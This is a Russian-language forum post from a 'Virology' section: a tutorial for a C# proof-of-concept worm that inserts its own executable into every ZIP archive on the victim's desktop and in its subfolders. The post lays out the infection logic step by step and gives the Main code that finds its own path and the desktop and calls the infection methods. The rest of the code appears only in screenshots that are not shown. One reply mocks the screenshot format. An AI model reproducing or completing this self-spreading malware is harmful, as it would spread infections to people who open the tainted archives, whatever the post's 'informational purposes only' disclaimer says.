Загрузка...

Заражаем ZIP архивы [C#, PoC]

Тема в разделе Вирусология создана пользователем akylbek2000 25 апр 2020. 477 просмотров

Загрузка...
  1. akylbek2000
    akylbek2000 Автор темы 25 апр 2020 34 14 ноя 2018
    [IMG]

    Шалом,сейчас я покажу тебе Proof-Of-Concept мини-червя, который добавляет себя во все zip архивы. Вся информация предоставлена исключительно в ознакомительных целях.

    **************************
    Логика нашего червя:

    • Ищем все zip файлы в папке
    • Добавляем своё отродье в архив
    • Повторяем тоже самое со всеми файлами. (рекурсией)
    Первым делом создадим новый метод, который будет принимать 2 аргумента - папку для заражения и файл, который будем добавлять в архив:

    [IMG]
    И создаём рекурсивный метод, который будет заражать все подпапки:

    [IMG]
    Переходим к Main'у.

    Тут создаём две переменные: путь до исполняемого файла, и путь до рабочего стола:

    string currentFilePath = Assembly.GetExecutingAssembly().Location, desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
    Затем вызываем методы:

    zipInfect(new DirectoryInfo(desktopPath), currentFilePath); // Заражаем архивы на рабочем столе recursiveInfect(desktopPath, currentFilePath); // И в подпапках
    [IMG]
    И теперь тестим:

    [IMG]
    [IMG]
    Как видим, в архивах появился наш файлик.

    **************************
     
  2. Inovasion
    Inovasion 25 апр 2020 Заблокирован(а) 369 11 июл 2019
    Ты знал что людям которые код в скринах кидают уготовлено отдельное место в аду?
     
Top